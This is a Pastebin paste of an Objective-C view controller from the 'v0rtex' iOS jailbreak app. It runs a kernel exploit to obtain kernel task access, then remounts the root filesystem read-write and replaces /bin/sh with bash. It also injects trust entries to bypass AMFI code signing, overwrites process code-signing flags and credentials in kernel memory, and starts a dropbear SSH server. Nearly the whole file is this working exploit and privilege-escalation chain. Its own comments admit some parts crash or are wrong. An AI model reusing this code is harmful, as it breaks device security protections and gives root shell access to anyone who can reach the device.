Advertisement
Guest User

Untitled

a guest
Dec 30th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.85 KB | None | 0 0
  1. //
  2. // ViewController.m
  3. // v0rtex
  4. //
  5. // Created by Sticktron on 2017-12-07.
  6. // Copyright © 2017 Sticktron. All rights reserved.
  7. //
  8.  
  9. #import "ViewController.h"
  10.  
  11. #include "v0rtex.h"
  12. #include "kernel.h"
  13. #include "symbols.h"
  14. #include "root-rw.h"
  15. #include "libjb.h"
  16. #include "patchfinder64.h"
  17. #include "v0rtex.h"
  18. #include "amfi.h"
  19. #include <sys/spawn.h>
  20. #include <sys/stat.h>
  21. #include <CommonCrypto/CommonDigest.h>
  22. #include <mach-o/loader.h>
  23. #include <sys/utsname.h>
  24.  
  25. @interface ViewController ()
  26. @property (weak, nonatomic) IBOutlet UITextView *outputView;
  27. @property (weak, nonatomic) IBOutlet UIButton *sploitButton;
  28. @end
  29.  
  30. @implementation ViewController
  31.  
  32. task_t tfp0;
  33. kptr_t kslide;
  34. kptr_t kern_ucred;
  35. kptr_t self_proc;
  36.  
  37. - (void)viewDidLoad {
  38. [super viewDidLoad];
  39.  
  40. self.sploitButton.layer.cornerRadius = 6;
  41. self.outputView.layer.cornerRadius = 6;
  42.  
  43. // Log current device and version info
  44. NSString *ver = [[NSProcessInfo processInfo] operatingSystemVersionString];
  45. struct utsname u;
  46. uname(&u);
  47.  
  48. [self writeText:[NSString stringWithFormat:@"found %s on iOS %@", u.machine, ver]];
  49.  
  50. // Attempt to init our offsets
  51. // Disable the run button if no offsets were found
  52. if (!init_symbols()) {
  53. [self writeText:@"Device not supported."];
  54. [self.sploitButton setHidden:TRUE];
  55. return;
  56. }
  57.  
  58. [self writeText:@"> ready."];
  59. }
  60.  
  61. - (IBAction)runSploitButton:(UIButton *)sender {
  62.  
  63. // Run v0rtex
  64.  
  65. [self writeText:@"> running exploit..."];
  66.  
  67. tfp0 = MACH_PORT_NULL;
  68. kslide = 0;
  69. kern_ucred = 0;
  70. self_proc = 0;
  71.  
  72. kern_return_t ret = v0rtex(&tfp0, &kslide, &kern_ucred, &self_proc);
  73.  
  74. if (ret != KERN_SUCCESS) {
  75. [self writeText:@"ERROR: exploit failed"];
  76. return;
  77. }
  78.  
  79. [self writeText:@"exploit succeeded!"];
  80.  
  81. printf("got val for self_proc = 0x%llx \n", self_proc);
  82. printf("got val for kern_ucred = 0x%llx \n", kern_ucred);
  83.  
  84. {
  85. // set up stuff
  86. init_patchfinder(tfp0, kslide + 0xFFFFFFF007004000, NULL);
  87. init_amfi(tfp0);
  88. init_kernel(tfp0);
  89. }
  90.  
  91. {
  92. // Remount '/' as r/w
  93. int remount = mount_root(tfp0, kslide);
  94. LOG("remount: %d", remount);
  95. if (remount != 0) {
  96. [self writeText:[NSString stringWithFormat:@"ERROR: failed to remount '/' as r/w (%d)", remount]];
  97. return;
  98. }
  99. [self writeText:@"remounted '/' as r/w"];
  100. }
  101.  
  102. {
  103. // Check we have '/' access
  104. bool rootAccess = can_write_root();
  105. [self writeText:[NSString stringWithFormat:@"can write to root: %@", rootAccess ? @"yes" : @"no"]];
  106. LOG("has root access: %s", rootAccess ? "yes" : "no");
  107. }
  108. printf("1 \n");
  109. {
  110. printf("2 \n");
  111. // create v0rtex dirs
  112. printf("3 \n");
  113. mkdir("/v0rtex", 0777);
  114. printf("4 \n");
  115. mkdir("/v0rtex/bins", 0777);
  116. printf("5 \n");
  117. mkdir("/v0rtex/logs", 0777);
  118. printf("6 \n");
  119. }
  120. printf("7 \n");
  121. // init filemanager n bundlepath
  122. NSFileManager *fileMgr = [NSFileManager defaultManager];
  123. printf("8 \n");
  124. NSString *bundlePath = [NSString stringWithFormat:@"%s", bundle_path()];
  125. printf("9 \n");
  126. {
  127. printf("10 \n");
  128. // remove old files
  129. NSLog(@"removing old files...");
  130. printf("11 \n");
  131. [fileMgr removeItemAtPath:@"/v0rtex/bins" error:nil];
  132. printf("12 \n");
  133. [fileMgr removeItemAtPath:@"/v0rtex/bootstrap.tar" error:nil];
  134. printf("13 \n");
  135. [fileMgr removeItemAtPath:@"/v0rtex/bootstrap2.tar" error:nil];
  136. printf("14 \n");
  137. [fileMgr removeItemAtPath:@"/v0rtex/dropbear" error:nil];
  138. printf("15 \n");
  139. [fileMgr removeItemAtPath:@"/v0rtex/start.sh" error:nil];
  140. printf("16 \n");
  141. [fileMgr removeItemAtPath:@"/v0rtex/tar" error:nil];
  142. printf("17 \n");
  143. [fileMgr removeItemAtPath:@"/bin/sh" error:nil];
  144. printf("18 \n");
  145. // copy in all our bins
  146. NSLog(@"copying bins...");
  147. printf("19 \n");
  148. [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bootstrap.tar"]
  149. toPath:@"/v0rtex/bootstrap.tar" error: nil];
  150. printf("20 \n");
  151. [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/dropbear"]
  152. toPath:@"/v0rtex/dropbear" error:nil];
  153. printf("21 \n");
  154. [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/tar"]
  155. toPath:@"/v0rtex/tar" error:nil];
  156. printf("22 \n");
  157. [fileMgr copyItemAtPath:[bundlePath stringByAppendingString:@"/bash"]
  158. toPath:@"/bin/sh" error:nil];
  159. printf("23 \n");
  160. // make sure all our bins have perms
  161. chmod("/v0rtex/dropbear", 0777);
  162. printf("24 \n");
  163. chmod("/v0rtex/tar", 0777);
  164. printf("25 \n");
  165. chmod("/bin/sh", 0777);
  166. printf("26 \n");
  167. // create dir's and files for dropbear
  168. mkdir("/etc", 0777);
  169. printf("27 \n");
  170. mkdir("/etc/dropbear", 0777);
  171. printf("28 \n");
  172. mkdir("/var", 0777);
  173. printf("29 \n");
  174. mkdir("/var/log", 0777);
  175. printf("30 \n");
  176. FILE *lastLog = fopen("/var/log/lastlog", "ab+");
  177. fclose(lastLog);
  178. printf("31 \n");
  179. [self writeText:@"copied bins and set up envrionment"];
  180. }
  181.  
  182. {
  183. // fuck up amfi
  184. printf("32 \n");
  185. inject_trust("/bin/sh");
  186. printf("33 \n");
  187. inject_trust("/v0rtex/dropbear");
  188. printf("34 \n");
  189. inject_trust("/v0rtex/tar");
  190. printf("35 \n");
  191. }
  192.  
  193. {
  194. // extract bootstrap.tar
  195. printf("36 \n");
  196. execprog(0, "/v0rtex/tar", (const char **)&(const char*[]){ "/v0rtex/tar", "-xf", "/v0rtex/bootstrap.tar", "-C", "/v0rtex", NULL });
  197. printf("37 \n");
  198. // sign all the binaries
  199. printf("38 \n");
  200. trust_files("/v0rtex/bins");
  201.  
  202. [self writeText:@"extracted and signed all bins"];
  203. }
  204.  
  205. {
  206. // create .profile files
  207. if (![fileMgr fileExistsAtPath:@"/var/mobile/.profile"])
  208. {
  209. [fileMgr createFileAtPath:@"/var/mobile/.profile" contents:[[NSString stringWithFormat:@"export PATH=$PATH:/v0rtex/bins"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil];
  210. }
  211. if (![fileMgr fileExistsAtPath:@"/var/root/.profile"])
  212. {
  213. [fileMgr createFileAtPath:@"/var/root/.profile" contents:[[NSString stringWithFormat:@"export PATH=$PATH:/v0rtex/bins"] dataUsingEncoding:NSASCIIStringEncoding] attributes:nil];
  214. }
  215.  
  216. // Launch dropbear
  217. execprog(kern_ucred, "/v0rtex/dropbear", (const char**)&(const char*[]){
  218. "/v0rtex/dropbear", "-R", "-E", "-m", "-S", "/", NULL
  219. });
  220. [self writeText:@"dropbear launched"];
  221. }
  222.  
  223. // Done.
  224. [self writeText:@"\n done."];
  225. }
  226.  
  227. - (void)writeText:(NSString *)text {
  228. self.outputView.text = [self.outputView.text stringByAppendingString:[text stringByAppendingString:@"\n"]];
  229. }
  230.  
  231. // creds to stek on this one
  232. int execprog(uint64_t kern_ucred, const char *prog, const char* args[]) {
  233. if (args == NULL) {
  234. args = (const char **)&(const char*[]){ prog, NULL };
  235. }
  236.  
  237. const char *logfile = [NSString stringWithFormat:@"/v0rtex/logs/%@-%lu",
  238. [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@"/" withString:@"_"],
  239. time(NULL)].UTF8String;
  240. printf("Spawning [ ");
  241. for (const char **arg = args; *arg != NULL; ++arg) {
  242. printf("'%s' ", *arg);
  243. }
  244. printf("] to logfile [ %s ] \n", logfile);
  245.  
  246. int rv;
  247. posix_spawn_file_actions_t child_fd_actions;
  248. if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) {
  249. perror ("posix_spawn_file_actions_init");
  250. return rv;
  251. }
  252. if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile,
  253. O_WRONLY | O_CREAT | O_TRUNC, 0666))) {
  254. perror ("posix_spawn_file_actions_addopen");
  255. return rv;
  256. }
  257. if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) {
  258. perror ("posix_spawn_file_actions_adddup2");
  259. return rv;
  260. }
  261.  
  262. pid_t pd;
  263. if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) {
  264. printf("posix_spawn error: %d (%s)\n", rv, strerror(rv));
  265. return rv;
  266. }
  267.  
  268. printf("process spawned with pid %d \n", pd);
  269.  
  270. #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
  271. #define CS_INSTALLER 0x0000008 /* has installer entitlement */
  272. #define CS_HARD 0x0000100 /* don't load invalid pages */
  273. #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
  274. #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
  275.  
  276. /*
  277. 1. read 8 bytes from proc+0x100 into self_ucred
  278. 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78
  279. 3. write 12 zeros to self_ucred + 0x18
  280. */
  281.  
  282. // find_allproc will crash, currently
  283. // please fix
  284. if (kern_ucred != 0) {
  285. int tries = 3;
  286. while (tries-- > 0) {
  287. sleep(1);
  288. uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0);
  289. while (proc) {
  290. uint32_t pid = rk32(proc + 0x10);
  291. if (pid == pd) {
  292. uint32_t csflags = rk32(proc + 0x2a8);
  293. csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD);
  294. wk32(proc + 0x2a8, csflags);
  295. tries = 0;
  296.  
  297. // i don't think this bit is implemented properly
  298. uint64_t self_ucred = rk64(proc + 0x100);
  299. uint32_t selfcred_temp = rk32(kern_ucred + 0x78);
  300. wk32(self_ucred + 0x78, selfcred_temp);
  301.  
  302. for (int i = 0; i < 12; i++) {
  303. wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0);
  304. }
  305.  
  306. printf("gave elevated perms to pid %d \n", pid);
  307.  
  308. // original stuff, rewritten above using v0rtex stuff
  309. // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred));
  310. // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t));
  311. // kcall(find_bzero(), 2, self_ucred + 0x18, 12);
  312. break;
  313. }
  314. proc = rk64(proc);
  315. }
  316. }
  317. }
  318.  
  319. int status;
  320. waitpid(pd, &status, 0);
  321. printf("'%s' exited with %d (sig %d)\n", prog, WEXITSTATUS(status), WTERMSIG(status));
  322.  
  323. char buf[65] = {0};
  324. int fd = open(logfile, O_RDONLY);
  325. if (fd == -1) {
  326. perror("open logfile");
  327. return 1;
  328. }
  329.  
  330. printf("contents of %s: \n ------------------------- \n", logfile);
  331. while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
  332. printf("%s", buf);
  333. }
  334. printf("%s", buf);
  335. printf("\n-------------------------\n");
  336.  
  337. close(fd);
  338. remove(logfile);
  339.  
  340. return 0;
  341. }
  342.  
  343. int execprog_clean(uint64_t kern_ucred, const char *prog, const char* args[]) {
  344. if (args == NULL) {
  345. args = (const char **)&(const char*[]){ prog, NULL };
  346. }
  347.  
  348. int rv;
  349. pid_t pd;
  350. if ((rv = posix_spawn(&pd, prog, NULL, NULL, (char**)args, NULL))) {
  351. printf("posix_spawn error: %d (%s)\n", rv, strerror(rv));
  352. return rv;
  353. }
  354.  
  355. #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
  356. #define CS_INSTALLER 0x0000008 /* has installer entitlement */
  357. #define CS_HARD 0x0000100 /* don't load invalid pages */
  358. #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
  359. #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
  360.  
  361. /*
  362. 1. read 8 bytes from proc+0x100 into self_ucred
  363. 2. read 8 bytes from kern_ucred + 0x78 and write them to self_ucred + 0x78
  364. 3. write 12 zeros to self_ucred + 0x18
  365. */
  366.  
  367. if (kern_ucred != 0) {
  368. int tries = 3;
  369. while (tries-- > 0) {
  370. sleep(1);
  371. // this needs to be moved to an offset VVVVVVVVVVVVV
  372. uint64_t proc = rk64(kslide + 0xFFFFFFF0075E66F0);
  373. while (proc) {
  374. uint32_t pid = rk32(proc + 0x10);
  375. if (pid == pd) {
  376. uint32_t csflags = rk32(proc + 0x2a8);
  377. csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD);
  378. wk32(proc + 0x2a8, csflags);
  379. tries = 0;
  380.  
  381. // i don't think this bit is implemented properly
  382. uint64_t self_ucred = rk64(proc + 0x100);
  383. uint32_t selfcred_temp = rk32(kern_ucred + 0x78);
  384. wk32(self_ucred + 0x78, selfcred_temp);
  385.  
  386. for (int i = 0; i < 12; i++) {
  387. wk32(self_ucred + 0x18 + (i * sizeof(uint32_t)), 0);
  388. }
  389.  
  390. // original stuff, rewritten above using v0rtex stuff
  391. // kcall(find_copyout(), 3, proc+0x100, &self_ucred, sizeof(self_ucred));
  392. // kcall(find_bcopy(), 3, kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t));
  393. // kcall(find_bzero(), 2, self_ucred + 0x18, 12);
  394. break;
  395. }
  396. proc = rk64(proc);
  397. }
  398. }
  399. }
  400.  
  401. int status;
  402. waitpid(pd, &status, 0);
  403. return status;
  404. }
  405.  
  406. void read_file(const char *path) {
  407. char buf[65] = {0};
  408. int fd = open(path, O_RDONLY);
  409. if (fd == -1) {
  410. perror("open path");
  411. return;
  412. }
  413.  
  414. printf("contents of %s: \n ------------------------- \n", path);
  415. while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
  416. printf("%s", buf);
  417. }
  418. printf("%s", buf);
  419. printf("\n-------------------------\n");
  420.  
  421. close(fd);
  422. }
  423.  
  424. bool can_write_root() {
  425. FILE *f = fopen("/file123.txt", "w");
  426. return f != 0;
  427. }
  428.  
  429. char* bundle_path() {
  430. CFBundleRef mainBundle = CFBundleGetMainBundle();
  431. CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle);
  432. int len = 4096;
  433. char* path = malloc(len);
  434.  
  435. CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len);
  436.  
  437. return path;
  438. }
  439.  
  440. @end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement